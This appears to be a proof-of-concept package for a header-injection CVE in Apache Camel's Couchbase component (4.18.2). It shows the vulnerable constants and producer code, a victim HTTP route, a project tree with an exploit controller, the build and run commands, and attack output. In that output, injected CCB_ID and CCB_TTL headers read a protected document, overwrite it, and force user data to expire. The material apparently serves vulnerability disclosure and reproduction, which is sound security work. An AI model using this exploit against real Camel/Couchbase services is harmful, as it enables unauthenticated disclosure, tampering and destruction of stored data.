// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID  = "CCB_ID";
String HEADER_TTL = "CCB_TTL";

// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl   = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)

from("platform-http:/save")           // and /fetch
    .removeHeaders("Camel*")                                   // documented hardening — see below
    .choice().when(header("CCB_ID").isNull())
        .setHeader("CCB_ID", constant("user-draft"))           // default to the caller's own document
    .end()
    .to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");

CVE-2026-46587/
├── pom.xml                 # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml      # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchbaseSettings.java    # host / bucket / creds / document ids
    │   ├── CouchbaseHarness.java     # SDK harness: seeds + reads docs for verification
    │   ├── VictimRoute.java          # platform-http:/save and /fetch -> couchbase producer
    │   └── ExploitController.java    # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
    └── resources/
        └── application.properties

mvn clean package -DskipTests
docker compose up -d --build          # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

initial DB state (read straight from Couchbase):
  user-draft    = empty-draft
  system-config = PROTECTED-ORIGINAL-CONFIG

=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
  empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
  PROTECTED-ORIGINAL-CONFIG
  read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
  system-config = PROTECTED-ORIGINAL-CONFIG   (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
  system-config = ATTACKER-OVERWRITE-PAYLOAD
  write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
  user-draft immediately after save: important quarterly data the user just saved
  user-draft ~2.5s later:            <not found: DocumentNotFoundException>
  ttl-injection / data loss: true

>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).